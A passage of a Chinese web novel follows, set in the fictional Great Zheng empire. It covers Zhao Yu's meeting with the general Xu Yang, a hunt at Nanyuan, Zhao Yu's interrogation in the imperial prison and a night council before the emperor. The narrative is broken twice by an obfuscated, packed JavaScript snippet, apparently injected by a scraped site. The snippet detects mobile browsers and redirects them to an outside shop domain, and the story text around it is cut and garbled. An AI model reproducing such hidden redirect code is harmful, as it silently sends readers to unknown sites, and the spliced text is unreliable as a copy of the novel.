“想必你也知道诏狱那晚事。程风到御前喊冤,如果陛下亲自过问,他固然死路一条,可是徐公,也无法全身而退。如今北境兵连祸结,大战一触即发,徐公此时被多少双眼睛盯住,那也是必然,各种鬼蜮心思,各种暗室之欺,委实也是防不胜防。如果此时,徐公再失圣眷,恐陷入孤绝之境地。” 徐玚再三斟酌了一下,没开口。 赵毓看着他,“我只说两点。” 徐玚,“世叔赐教,洗耳恭听。” 赵毓,“将在外,事从权。这些手段,在风平浪静的时候,不会有人追究,可是一旦山高水低,是否挡得住督察院的监察,那就得问问老天爷了。” “还有……”赵毓也走到栏杆这边,“粮草。” 一个幻觉,——听见赵毓口中的“粮草”二字,徐玚咽喉被纤薄的刀锋抹过,没有知觉,可等他低下头,却看到血流如注! 他陡然清醒!青天白日,烟雨楼下,隐约传来遥远的烟火人间的声音。徐玚甚至还低头看了看自己胸前,——湖丝苏绣的衣袍,干净如初。 北境严寒,又地广人稀,戍边的郑人本就少,再加上肃慎人的部落又首鼠两端,更是雪上加霜。除一些几代人经营、树大根深的北境诸藩,其余进驻北境的军队无法就地筹粮,只能从山海关内调集,由蓟辽总督白策押运出关。 于是,粮草就成了遏制住北境军队咽喉上的一根套索。 赵毓在雍京势力不可测,如果他丧心病狂,使用手段给北境断粮,那么不出十数天,北境就能饿死人。 赵毓知徐玚是沙场宿将,有些话点到即止,他就已经明白要害之处了。 徐玚却笑了一声,“世叔要是出此下策,您的圣眷也完了。” 赵毓听着,点点头,“没错。” 徐玚,“程风不过一弃子,世叔为何对他如此上心?” 赵毓,“该做之事。” “该做之事……”徐玚,“世间哪有许多该做之事,不过权衡利弊而已。” 赵毓则说,“权衡?许多人以为自己做出的抉择是最适宜的。只是天下之大,世事之繁杂,人心之险诈,单凭一己之力权衡,如何确保这个抉择可以经得起人心,经得起时间的考验?我没那么多心思,只是觉得,应该做的事,去做,就好。” 徐玚,“奢侈,世叔当真奢侈。这世间,有几人不用权衡?不过……,世叔与其拿程风做该做之事,不如谋一谋自身。” 赵毓,“我有什么好谋的?” 徐玚,“副将通敌叛国,污蔑北境主帅,世叔不想洗一洗自己身上毁长城的嫌疑吗?” 赵毓深深叹口气,“所以,我们谈崩了。” 徐玚,“世叔也不必如此。你想要活程风一命,也不见得像你说的那样堂堂正正。” 赵毓,“也是。” 私事,就是以权谋私。 他曾经想过,让文湛公然放程风一马,可是,这样会威胁到皇帝在北境的布局,多年的大业将付之一炬。 他没疯。 这样的事情,无论作为皇帝的臣子,还是文湛的哥哥,他都做不出来。 那么,程风的活命,如此渺然的希望,只能是徐绍私下让一步。如此,程、徐二人均保全,这是大局之下,他能谋到最大的“私”,也是文湛而不是皇帝,最大的容忍极限。 可惜,…… 徐玚也叹口气,“世叔,您想要活程风一条命,可是,仅这一条命,足够吗?您说与他有袍泽之情,您与他那些弟兄就不是袍泽之情吗?他铁了心想要伸冤,您阻拦吗?您当真割舍的下那些死去之人?让他们无名无姓,被埋在远离故土的北境冻土,身后无香火飨祀?” 赵毓,“活下来的人,比死去的人重要。” 此时,徐玚有一种奇异的感觉,——这么多年,自己是否没有认知中那般了解赵毓? 之前,他认为赵毓重情重义,既然不舍程风,必然也不会舍弃被埋在北境的那些西北军。他没想过活人死人的区别,在他看来,这是一回事。所以,他与赵毓之间,就程风之事,全无半分转圜余地。 他没想过,赵毓的取舍,竟然如此不同。 众人身后万世之名,与一条性命想比,无足轻重。 既然如此,大郑千年宗法,那些祭祀之礼,那些宗庙祠堂,在赵毓心中,又算什么?难道,只是教化黎庶,却未曾被他所坚信的鬼话? 徐玚,“……不愧是做过亲王的人,……” 错! 他,依旧是大郑亲王。 赵毓原本看着烟云中若隐若现的大正宫,闻言,扭头盯了徐玚一眼,忽然笑了,“我忽然想起来在伊犁第一次见到你,日头也像今天这般,火一样在头顶烤着。没有水源,我们所有人开始焦躁不安,随后,到达什叶镇。水源倒是有了,就是太安静了,只是,这股安静,也掩盖不了血腥味儿。” 徐玚,“世叔怎么忽然说这个?” 赵毓从栏杆这边走下来,到茶台前,“别叫我世叔了。叫我老赵,或者是赵先生,随便哪个,哪个都成。今天的茶点和酒馔都不错,既然点了,就别浪费。我还让人带了葡萄酒,吐鲁番的葡萄加了玫瑰和覆盆子,三十五年的陈酿,花香果香留下来,甜味儿没了。咱们在西北的时候战事吃紧,性命悬于一线,商道不通,即使人在天山,都没喝过这么好的酒。错过可惜,来尝尝。” 挡不住,终究挡不住。 人的命运在大业面前,如同倒悬江河中的一枚飘零落叶,能随波逐流是幸事,灭顶之灾才是寻常。 ……不愧是做过亲王的人,…… 这样的感慨,赵毓不是第一次听到,上一次,还是去年,在羡云飞。 说这话的人,正是随侯那位世子,石慎。 …… 雍京,南苑猎场。 大田猎。 不但在京的王公们大多到场,就连原本被“圈禁”的在京藩镇质子们也到了。 石慎从马下下来,旁边有人接过去他手中的缰绳。时至今日,他依旧是侯府世子,那么按照大郑的礼法,在南苑猎场,他就有自己的位置。 尤其是这段时日。 尹氏父子俱下诏狱,而赵毓即权重,却无计可施,这是一个讯号: 帝王之道在于制衡。 平衡文官如是,平衡王公武勋更甚。 绝不使一家独大! 这一年多,石慎在雍京城过得极艰难。去年,他父亲随侯从北境回来,随后,石氏百余口被扣押在京,自此,他在雍京寸步难行。 雍王给他留下一线生机,却也是一条大凶之途。而,真正让他喘口气,说到底,还是他们在京的多年经营。 ——做人留一线,日后好见面。 这是官场人情。 只要朝野没有得到皇帝确定除去石家的旨意,这些人,做事情总会留下一些分寸。 毕竟,天威难测。 随侯石寰在北境多年,因守关不利调回雍京,朝廷换上徐绍、甚至还有定国公裴檀。可如今北境军情糜烂,凶险程度较之随侯之后更甚,反倒显得石家失利并没有原先设想的罪不可赦。再加上尹氏父子因失兵符于西疆余孽之手下诏狱、赵毓副将程风通敌下诏狱,等等。诸多连番变故,使北境局势显得愈加扑朔迷离,同时,连带着雍京官场也更加晦暗不明起来。 今上雄才,文韬武略,极善对弈之道。之前也许是看北境诸藩树大根深,想要遏制打压;如今,焉知不想扼制西北势力?只是,这帝王棋局,一动,便以苍生为棋,天地做局。百姓胼手胝足,于此等事情自然无知无觉,而并非普罗众生的雍京衮衮诸公,心中如何计较,如何煎熬,就不足为外人道了。 石慎先是遇到了几位“同病相怜”家族的子侄们,互相打了招呼,随后,他就看到不远处一匹黑色骏马奔驰而来。那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729014|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产自匈奴的战马,只有在兵部身居要职的权贵才可在围猎之时骑用。石慎看到那团黑色如同闪电一般,越过山丘与树丛,绕着河湾,直奔此地而来,而马背之上的人是徽郡王世子姬旻铉。 “九爷。” 旻铉到近前勒住战马,石慎想要近前为其牵马,但是又有些犹豫,——至于到如此境地,如此一步吗?不过,旻铉也没有让他犹豫很久,他自己滚鞍下马,将缰绳和马鞭都扔给下人,动作一气呵成,极爽利。 “石世子。”旻铉说,“令尊呢?” 石慎回答,“家父身体微恙,田猎太过损耗身体,他就留在家中歇息了。” 旻铉又问,“没什么大毛病吧。” 石慎,“心病。” 旻铉点头,“多事之秋,人心浮动,心焦也是正常。不过,世子还是要多宽慰宽慰随侯,上了年纪,身体要紧,要多保重才是。” 石慎道了谢,随后,极认真地看了旻铉一眼,而这位徽郡王世子则弯腰,伸手,穿过水边芦苇,洗了手。等周围的人逐渐散去,偌大的滩边空无一人,他才说,“石世子有话就直说,你我无需客套。” “九爷。”石慎说,“您与赵毓相识多年,……” 旻铉,“我曾经是他的伴读。” 石慎,“九爷如此人物,……” “先帝选的。”旻铉抖了抖手上的水,又看了石慎一眼,才说,“先帝长子,我随侍其右,是福分。” 石慎自知一切虚言在此时此刻,都是无用,“赵毓此番,能否逃出生天?” 旻铉没有马上回答,他看着眼前这片水,还有猎场。 这是南苑,皇家猎场。 十六年前。 那一年是先帝风化三十八年,正月十七。下了两夜的雪,整个雍京泛着白光,日头闪耀着,却寒冷异常。 雍京的王孙公子们都在这里打马球。 他与当年还是祈王的赵毓组队,多年后,他听黄枞菖复述赵毓的话语: “……徽郡王家的老九儿马骑的相当不错,仅凭我们两个组队,就打的那群世子王孙们屁滚尿流,呼爹喊娘。上次楚蔷生还跟我说,咱们大郑天潢贵胄的府邸都是比照着猪圈搭的,养出来的凤子龙孙也都像猪。今天这么一看,还真对!楚蔷生看人眼睛贼尖,说话一针见血,天生就该吃督察院这碗饭。对了,黄瓜,回头你拿我名刺约禁卫军到南苑猎场打球,那才当真够劲!” …… “九爷?” 一回神,旻铉看着石慎回答,“这要看天。” 石慎,“圣意如何?” 旻铉,“不敢揣测。不过,……” 徽郡王世子末语未曾出口,整个猎场仿若清水沸腾,却又骤然遇冷,直至结冰,封住这片山河花草。 石慎心中一凛,他不知道怎么了,极度不安,自言自语,“出了什么事?” 此时,有兵士急速奔来,却不慌乱,一丝不苟冲,并不行礼,也不倨傲,只是平淡而清晰地说,“圣驾已至逐鹿坡,宣,徽郡王世子前往接驾。” 旻铉一听,丝毫不敢耽搁,立即命人牵马过来,上马前往逐鹿坡。 石慎似乎知道自己心中的不安是什么。 皇帝到了。 可是,自己之前连番上奏折请求觐见,却被驳回,这说明皇帝并不想见他,此时,在南苑大田猎,似乎避无可避。 此时面圣,祸福难测! 忽然,一阵马蹄巨响,狂躁,却不纷乱。一队锦衣劲装得骑士,胯|下均是彪悍不逊的匈奴战马,从远处疾驰而来! 是禁卫军。先于陛下进入猎场,布防保卫等一切事宜。 为首的那位,就是此番围猎随扈陛下的王公。 那人猎装。黑色贡品缂丝的窄袖衣袍,衣襟上金线绣着山河纹。左臂到身躯上扣着牛皮绞丝绳,应该是之前受过伤,在围猎之时才用这种绳索固住手臂,不然无法拉开强弓。可是,此人并不用弓,他马鞍上挂银白色的弩|机。鲨鱼皮的箭筒,装满了大郑军方管用的弩|箭,黑色的箭杆,白色凌翅鸟的尾羽。 他勒住缰绳,停下马,他身后的一众骑士也一样动作。 三十六个人,三十六匹马。 伫立于猎场之中。 没有丝毫的声音。 似乎连马的呼吸都被淹没了。 那人的眼睛认真扫了一眼猎场,最终,看到了石慎。 此时,他居高临下,看着石慎,如同十三年前,在什叶镇,石慎居高临下,看着他。 …… 那日,在烟雨楼。 那人冠冕堂皇,“……您是圣上下旨亲封的随侯世子,名字就写在大郑三十二侯府的名牒上,我已经被罢黜了王爵,只是庶民。王侯世子杀一个庶民,重则流放,轻则罚银,大郑国法煌煌,这都是写有明文的,难道您不知道?” …… 国法? 石慎又一次笑了。 这就是一个荒诞不经的笑话! …… “奢侈!赵先生的信念,真奢侈,可以豪言天下四民平等,可以期待大郑煌煌国法给你一个公道。” “你,雍王,你们永远有退路,因为成王败寇,你们在陛下登基的那一刻开始,就已经是胜利者。我原来不懂,现在懂了。可是,我不成。国法不会站在我这一边。赵先生说的对,我是臣子,没有那么多的倚仗。所以,我想要活命,必须占领先机,必须确保手中有足够的筹码。我不是故意找你的麻烦,而是,我需要确保,你没有能力再找我的麻烦。” “赵先生,你我,终究道不同不相为谋。” …… 此番围猎随扈陛下的王公…… 是赵毓! 157. 157 157 一日前。 大郑诏狱。 院子发阴,墙高树密。申时初,日头开始偏西,配上此地树荫下一片杂草。赵毓进来,颇有些“整履步青芜,荒庭日欲晡”之态。他自烟雨楼回雍京北城,请了徐玚吃饭,还喝了酒,身上还带着些许的酒气。不难闻,只是极清淡的花果子的香气,却因为步伐有些懒散,衬托着他身上的酒气愈发浓重了些。 “忽然得到刑部宣召的命令。”赵毓微笑着对院中等候的刑部官吏说,“来不及醒酒,还望各位海涵。” “赵先生不必客气。”回答之人,却不在眼前。 树荫深处,高墙之旁,是一排坚固却低矮的石头屋。门打开,柳密身着平日非御前公事的官便服,走出来,“刑部唤赵先生过来,是例行公事。” 赵毓则笑着说,“既然是例行公事,我以为会在刑部正堂。” 柳密,“刑部尚书陈耘珪御前弄权,陛下震怒,已降旨关押,严查!刑部大小官员脱不了干系,可也不能诛连过甚。如今刑部暂且被督察院监察,查明真相、分辨忠奸,总要费些时日。而如今赵先生这里又不能耽搁,只能借了诏狱这方宝地。这里好,清净,方可做事。赵先生,方才去了哪里?” 赵毓,“烟雨楼,请个朋友喝了顿酒。” 柳密,“哪位朋友?” 赵毓停了一下,没有立即回答。 柳密并不催促,而是吩咐诏狱听差的从里屋搬了桌椅板凳出来,又吩咐人沏了壶高沫,端了碟子点心。 他自己坐了,也邀赵毓坐。 赵毓看着点心,“这是大慈悲阁的枣花观音酥?” 闻言,柳密笑了,“我们哪里吃得起大慈悲阁的点心?这个酥是内人自己打的。原先在老家的时候,村里女子都会做,菜籽油和面制成酥皮,加上枣,放在灶头上慢慢烘。做好了,给村头土地、灶王、还有一些小庙的神佛上供。我是孔门子弟,不信鬼神,只是觉得酥点味道不错,赵先生尝尝。” 赵毓,“我一来就有嫂夫人酥点吃,幸甚至哉!” “先生喜欢就好。”柳密,“赵先生出征西北十数年,功垂竹帛,无需赘言。只是程风通敌之事,牵扯甚众,赵先生又曾是他旧主,督察院自然要仔细查证,才能还先生一个清白。” 赵毓,“柳大人,我怎么记得您已经调任户部尚书?” 柳密,“哦,最近事情多而杂,督察院一时半刻找不到其他人,我就稍留几日,把所有公务都收了尾,也算有始有终,是个圆满。” 赵毓,“柳大人勤勉。” 柳密,“食君之禄,本分而已。赵先生,方才宴请何人?” 赵毓,“你还没忘这茬儿呢?” 柳密,“职责所在,先生勿怪。” 赵毓,“唉,我说。其实,也不什么宴请,就是他我二人,吃了些土菜,喝了些果酒。” 柳密一挑眉。 赵毓,“徐玚。” 柳密,“北境总督徐绍长子,北境三品镇守将军,徐玚?” “对,就是他。”赵毓,“我们两个是多年旧相识,他曾是我旧部,共过生死。” 随后,他认真解释往事,——“那是十三年前,元熙二年,徐玚第一次调入我部,被人陷害在伊犁什叶镇遇到围攻,所有守军都阵亡了。我们剩下的人不多,半夜差点就挡不住霍图部骨力裴罗的攻势,后来有幸等到援军,在戈壁沙漠中埋了炸药,全歼霍图部主力,这才有命回敦煌。” “此次,他回雍京述职,我们只是吃顿饭,叙个旧。” 柳密,“元熙二年?” 赵毓,“是。” 柳密,“元熙二年,征西主帅是李钧麒。那么,这个援军,是他派去的吗?” 当时十六国的残部与大郑征西统帅李钧麒有勾结,李钧麒想要养寇自重,十六国想要占据伊犁以及天山向南这一带土地。 他们均欲致赵毓徐玚于死地,怎么可能派援军? 赵毓,“不是。” 柳密,“援军是尹氏九部?” 赵毓,“也不是。” 柳密,“那是……” 赵毓,“殷忘川。” 柳密,“嗯,事关高昌王,刑部的书吏已经记下。只是,这种事情,没有我们置喙的余地,需请旨圣裁。” 赵毓点头,“明白。” 柳密,“赵先生,查问西北卷宗之前,还有最后一件事。” 赵毓,“柳大人请问。” 柳密,“赵先生可否与高昌王密谋,屠杀原征西统帅李钧麒以及其副将景厝,夺西北军兵权?” “没有。”赵毓斩钉截铁! 随后则说,“李钧麒因军饷不足,对西北之地不分敌我横征暴敛,激起叛|乱,他本人在伊犁被叛军杀死;而景厝之死则因为他公然违抗封刀军令,于叶尔羌城屠城。我得兵权,是因为先帝赐下玄铁兵符,命我在混乱之中全面接管西北军,总摄西北军政大权。” 这一次,柳密只是听,的确没有再多问一句。与此同时,院中那一排坚固却低矮的石头屋里,来自督察院、户部、兵部、刑部的上百名书吏,正在紧张地查对放在大樟木箱中抬进来的卷宗,——这十年来,赵毓在西北的全部卷宗。 赵毓喝茶醒酒,他坐在木椅上,抬了头,看着头顶已经遮天蔽日的树荫,树枝异常粗壮,张扬着遒劲着,像悬在此处人们头顶的一只龙爪,异常锋利。 柳密,“赵先生很是怡然自得。” 赵毓,“我卷宗清白,总宪大人公道,本就没什么可担心的。” 也难怪赵毓有如此底气。 自元熙二年,他奉先帝密旨接手西北军之后,一直到元熙八年,先帝驾崩,涉西北卷宗封皮之上全部加盖先帝印玺,即使赵毓有任何“将在外,事从权”的越矩行为,先帝一尊神镇着,内阁、督察院和六部,是半个不字也没有,甚至,连陛下也不会深究。不然,不忠不孝两座泰山压下,会死人的。 可是,元熙八年之后呢? 那要看天意了。 只是,皇帝又是怎么个想法呢? 要说,元熙八年之后,的确有一件事,值得推敲。 元熙九年,中原大旱。地方官不思抚恤灾民,反而打朝廷赈灾粮的主意,他们把这些救千万人活命的粮食高价转卖西北。 西北战事吃紧,运粮通道不畅,再加上赵毓手中军饷丰厚,买粮不问价,不眨眼,不求别的,只要军粮充足,军心稳固。这些原因凑到一起致使西北粮价是东南的数倍!所以,大郑东南,川蜀一带的大米,除本省百姓活命的口粮之外,尽数运往西北。 可是,中原赈灾粮被贩卖到西北则是另外一回事。 这样做,后果可致使中原三省饿殍遍野,地方官们将转卖粮食所得的白银中饱私囊,连带着赵毓买入这些粮食都是灭族的大罪。朝中针对尹明扬的政敌们,不想西北打胜仗、不想赵毓肃清边界的势力们,全部纠结在一起,让手下控制的言官们一起发难,势必要把尹氏和他庇护的赵毓打到万劫不复! 可是,这场大祸,似乎骤起,也骤落。 这段卷宗缺失,如今外人不知道发生了什么,只看后面的卷宗,旱灾过后,没有大的疫病,土地恢复之后,农耕也恢复了,一切大难都平稳渡过,许多参与卖粮到西北,却没成,原本自以为渡劫成功的官员却全部下了大狱,抄家灭族,一时之间朝野一片风声鹤唳。 西北似乎没有买这批粮食,那么,西北的粮草,又是如何解决,从哪里运去的呢? 赵毓,“粮草,不一定都是谷物稻米,也可以是羊。撒马尔罕的羊就很多。” 柳密相当意外,因为这段往事,卷宗中的确缺失,“赵先生曾经西征花剌子模?” 赵毓,“嗨,没那么大的动静,就是去撒马尔罕弄了一些牛羊,马匹,和酸马奶酒。” 柳密,“撒马尔罕守备在西疆是出名的森严。” 赵毓,“用了点小花招。我让人把最后仅剩的干草装在麻包中堆放在敌军辖区的山谷中,再让军中几个老实人坚信这是敌军的粮仓,这几个老实人又让全军人坚信,只要攻下撒马尔罕,他们就可以吃到女人脸蛋子那么大的白面馍馍。最后,军队饿了三天肚子,头昏眼花,却在毒太阳下愣是攻陷了守备森严的撒马尔罕。白面馍馍没有,不过,羊肉倒是吃到满嘴流油,那些人也就不计较了。” 柳密,“为什么不等军需充足,再做万全的打算?” 赵毓,“我们的粮草是运不过茫茫戈壁的,再说,已经没有粮了。那一年中原大旱,西北不能买活人命的粮食,不但不能买,反而搭进去了不少。当时,我看到中原运过来的粮食,就知道是赈灾粮,那是琼州旧稻米,粗糙陈腐,味道不好,却能活人性命。我不但没收,反而让人抽了军粮跟随押送粮食的人返回中原。大祸是躲过了,可是,西北军中粮仓也空了,只能西度戈壁沙漠,到撒马尔罕碰碰运气。” 相似的对话,韦睿曾经也问过赵毓。 为什么不做万全打算呢? 世上根本就没有万全的打算,千算万算,老天还有一算。 这本就是一场有去无回的战争,谁怕死,谁先死! 柳密让人重新沏了一壶茶,给赵毓倒了一杯,手腕尚且没有收回,就突然发问,“赵先生西征,是否取道高昌旧地?” 赵毓,“……” …… 黄沙万里,枯骨成排。 到处都是一千年不死,一千年不倒,一千年不朽的胡杨。 黄土夯成的城墙,迎风飘荡的狗尾草。 …… 柳密,“赵先生?” 赵毓苦笑,“总宪大人,不愧是总宪大人。” 柳密也笑,“我奉圣命执掌督察院,鞠躬尽瘁死而后已不敢说,认真二字,还是担当得起的。” 赵毓点头,“是的,我曾经取道高昌旧地,并曾与殷忘川的军队结盟,彼时,他并不是高昌王。那个时候,高昌的王位被一个叫做贵霜王子的人占据着。” 柳密,“多谢赵先生坦诚相告。其实,兵部业已从西北带回一件证据,就是一份盟约。还是那句话,事关您与高昌王,必须圣裁。所以,这件证据已经呈送微音殿。” 赵毓点头,“明白。” …… 一滴汗珠,顺着肌肤沁了出来,如同在禁宫红莲叶子上滑落一般。 那是赵毓的脖子。 文湛在赵毓脖子上又咬了一口。 “啊!……” 朝云尉其晨兴兮,暮雨纷以下注。 “不尽兴也得再忍忍。” 赵毓伸手捂了一下脖子,又搓了搓,“柳密他们一直在梳理案宗,估计子时就能全部送到微音殿。有些很重要的事情,是要需要圣裁的。” “哼!” …… 子夜时分,微音殿。 柳密先到了。 他进来,跪了,问了安,被赐座,这才看到,远离御座的一张紫檀木椅上,居然坐着赵毓! 一袭黑色缂丝衣袍,微微低着眼睑,正在喝茶。 头发没有严谨扎好,有些水雾,额间垂下几绺发丝,像文人画中的疏林。也许是子夜大殿中的琉璃灯光有些异,此时的赵毓,颜色比几个时辰之前在诏狱见到的时候深了许多,尤其是头发和眼睛珠子,异常的黑,像是大正宫红墙顶上铺着的黑色琉璃瓦。 而,皇帝在御座上,安静写着字帖。 偌大的微音殿,除了侍立于陛下身侧的柳从容,就只剩皇帝与赵毓两个人。 柳密忽然想起来,——没人见过! 他,还有一会儿即将到来的内阁几位阁老,六部的部堂们,任何人,所有人! 从未见过皇帝与赵毓在一起时候的样子! 疏远,却宁静。 可是,……仿若有游荡的丝,狰狞而绵软,缠绕在御座,字帖,笔墨纸砚,黑檀书案,长柜,黄金造的锁,雕花窗子,大殿顶上彩绘的缠枝莲花,还有地板上铺着的太湖金砖上。 说不清楚那是什么。 黄枞菖端了个食盒进来,为文湛摆了茶点,随后,就到了柳密,和赵毓这边。 柳密起身道了谢。 元熙官窑的茶盏,黄金入釉,梅子红的颜色,盛着桂花乌龙。碟子也是元熙官窑,却是薇草清透的碧色,摆放着两个酥皮细点。 “这是御膳的豌豆酥。”赵毓忽然说,“吃了柳大人这么多点心,换您也尝尝我们厨子的手艺。” ——御膳,是“我们厨子”? 柳密向来不是多话之人,他道了谢,拿起来一块酥,轻轻咬了一口,细嚼慢咽。 “怎么样?”赵毓问他,“可对胃口?” “美味。”柳密却将那块酥放下了。 “是哪里不对吗?”赵毓有些意外。 柳密微微摇头。 赵毓这次真有兴趣了,“没事儿,您说说,我听听,也让他们改改,提高提高呀。” 柳密,“……” 虽然说此时正在微音殿上,其他人没有到,可是,御座之上,却非空无一人。柳密此时说话尚且要战战兢兢,他确定自己坚决不想在皇帝面前闲聊后宫御膳的厨子手艺不到家这种事情。 赵毓却是饶有兴趣,他甚至将自己的耳朵贴了过来,“您说。” 柳密见执拗不过,只得开口,声音却极轻,“这种酥皮,与豌豆白糖这种馅料有些不合,猪油多了一些,不太适合豌豆清甜的口感,应该用陈皮红豆加红糖的馅料,才能压住酥皮浓墨重彩的油酥味道。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729015|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“呃,……”闻言,赵毓不说话,就是笑,却有些尴尬。 其实,两个时辰前,赵毓吩咐御膳为微音殿供奉的是红豆酥。 …… “红豆酥?”文湛方才从床榻上下地,正准备沐浴,一听到赵毓的话就开始质疑,“是小的时候,你为我准备的红豆酥?” “呃……”赵毓,“应该,大约,也许,那个,……,是吧。” 文湛,“我原来还以为这红豆酥只给我一个人吃呢。” 赵毓,“呃,……,这个,那个,陛下,这红豆酥,其实就是御膳的一种普通的点心。” 文湛一伸手,将自己头发上劲节稜稜修竹玉簪取下,漆黑长发披散而落下,“方才偶翻诗书,看到王维这首——红豆生南国,春来发几枝,愿君多采撷,此物最相思——甚是不错。哥哥,你觉得呢?” 赵毓,“……” 此时,黄枞菖从殿外进来,为赵毓梳头,连忙低声说,“主子,御膳房已经准备好酥皮,还另外备了一些豌豆白糖馅,做出的点心也是上品。” 赵毓点点头,“成!豌豆酥,就豌豆酥吧。” “怎么?”文湛,“哥哥有些勉强呢!” “不勉强!”赵毓斩钉截铁,“我也觉得微音殿那些大人们不适合吃红豆酥,他们适合啃豌豆酥!” “嗯。”文湛慢条斯理点了点头,似乎,气息,终于顺了。 …… 赵毓,“我下次让他们做酥皮的时候少放些猪油。” 柳密,“为什么不换成红豆馅?” “……”好一会儿,赵毓说,“红豆在南国,正发着呢。” 柳密,“……??” 琉璃灯盏轻轻碰触流苏的声音,在异常安静的微音殿中,仿若水波涟漪一般,幽绵而纤长。司礼监秉笔大太监绿直亲自执灯引路。那人一身紫蟒,堂堂煌煌,即使骤然被宣召夤夜入宫门,也无丝毫纷乱,就像是书斋中被铺开的上等生宣,只待落笔,就是一篇锦绣文章: ——左相楚蔷生到了。 他见了皇帝,叩拜,起来,被赐座,在赵毓与柳密的对面,却仅仅是与柳密四目对了一下,算是打招呼,然而,并没有看赵毓。 黄枞菖亲自奉了茶水点心,一时之间,无人说话。 “是的,”赵毓忽然开口,“我们认识,左相是我的老师。” 楚蔷生有些意外,他抬眼,就知道,这句话,是赵毓对柳密说的。 “……?”柳密,“我没问。” “我听见了。”赵毓却说,“大人脑中有句话,一直在转,——你与左相是否相识?随后,它飘荡了出来,我听见了。” 柳密年轻,这些陈年旧事,他知道的不是很清楚。此时,他只得说,“唔。我只是知道左相大人是雍王的老师。” 赵毓,“我爹,……,呃,先帝,他老人家过日子精打细算,想着,左相人才难得,教一个是教,教两个也是教。再说,教过我一遍了,那些东西都是现成的,到第二遍教导老七,呃,雍王,书本笔墨包袱皮儿什么的都不用再重新准备,接着用就好。还有,束脩也是现成的,当年的束脩不用白银,而是胡椒、肉桂和孜然,地地道道的高昌贡品香料,内库放了几箱子。我读完了四书还没消耗完,后来雍王将程朱陆王都读尽了,内库就剩下一斛孜然。” 闻言,楚蔷生就是安静喝茶,而远处御座之上的文湛,还在安静写字帖。 柳密,“……” 本来他也想安静的,就见赵毓在看着他,似乎很想要聊几句的样子,他只得没话找话,“怎么只剩下一斛孜然?” 赵毓,“很多年,……,快二十年了吧,宫里最后一次进高昌香料,是先帝贵妃高昌公主阿伊拉进宫带来的嫁妆,自那以后,宫里没有再补高昌香料。” 柳密,“商路断了吗?” “不。”赵毓说,“高昌灭国了。” 柳密,“……” 啪! 御座之上的皇帝,放下手中的毛笔,“人到齐了。” 此时,内阁其他几位大学士,鹿有鸣、左桂清、危焕,还有,出身江南巨族的顾澹和查伊瑝等人依次入殿。后面跟随着的,就是兵部与督察院的几位掌院大臣。 “顾相,查相。”赵毓没等他们起身坐稳,就来了一句,“九年未见,别来无恙。” 在座之人都知道,他们是政敌,有私仇。 九年前,也就是元熙五年,西北战事失利,顾澹和查伊瑝在微音殿上一唱一和,力主问罪尹氏九部,以图西北换帅而不得,却被赵毓用计诱导查伊瑝的门生,也就是当年的甘宁总督祝惟演行|贿柳密。最后,不但祝惟演丢官罢职被抄家,连带着他的座师查伊瑝也被陛下降旨申斥,差点相位不保。 赵毓先发制人,就是点到他同顾澹和查伊瑝甚至是江南兰芝社的旧日恩怨。此后,无论顾澹和查伊瑝多么的公正不阿,大义凛然,面对赵毓,都会带着那么一点子以权谋私,党同伐异的味道。在今夜的微音殿,这股味道,洗是洗刷不干净了。 不愧是操纵人心的高手! 然后,操纵人心的顶尖高手,此时正坐在御座之上,如同一尊白玉雕刻的圣像,看着他的重臣们。——没人知道皇帝在想什么。 文湛让他们都起来,赐了座,也赏赐了茶点。大郑的重臣,有重臣的尊严。微音殿议事,他们从来都是坐在紫檀木的太师椅上,并不需要跪在太湖金砖的地面上。 此时,梁徵颤巍巍地进来,面圣,跪地磕头,却是一个低头撅腚的姿势,像个朽木雕刻的风烛残年,凝固了,一动不动。 文死谏? 不像呀!梁徵此人一向滑不留手,被圣旨起复,重新入阁之后,就如同一根木头一般,全身披挂绫罗绸缎,却是不言不语,只是心安理得躲藏在香火供奉之后,以一张城隍的笑容,专心等待贡品上桌。要他死谏,怕不会泰山崩塌,黄河倒流? 可是,就算不是文死谏,梁徵这个样子,也与皇帝的宽和仁德十分不相符,像是有意无意说皇帝虚伪,凌虐刻薄文官。 赵毓忽然站起来,在一片死寂却又似乎波涛汹涌之中,到梁徵身边,蹲下身,“见之公。” 见之,是梁徵的字。典故出自《左传·昭公十七年》:“往年吾见之,是其徵也,火出而见。今兹火出而章,必火入而伏。” “公之腰身,折否?” 梁徵,“那倒没有,闪腰而已。御前失仪,臣万死。” 文湛劝了一句,“大宗伯公忠体国。” 皇帝的声音一如既往,说不出来是个什么圣意。 赵毓则单手召唤来黄枞菖,他们两个人,一左一右,架起来梁徵,将他端到一把紫檀木太师椅上,低声在他耳边擦了一句,“几天不见,夫子还是一如既往的倚老卖老。” 158. 158 158 大郑绵延至今,已一千二百年。 庞大的帝国王朝如同一艘巨大的船舰,于汹涌波涛中破浪前行,面对深渊、旋涡、礁石与巨浪,释放着令人敬畏的气息。这股气息由礼教中的德所塑造,以风雅为表,具有极强悍的压制一切的权力。 似乎,一切不符合“德”与“雅”的人和事物都会被其碾压成齑粉。 诗书中吟唱的谣,淡墨山水画作中的逸,纤细指尖弹奏的琵琶,桂花沉浸的米酒,…… 没有战乱,没有苦难。 在众人眼中,大郑只应该存在:春花江水,烟雨楼台,泉水新茶,诗酒年华。 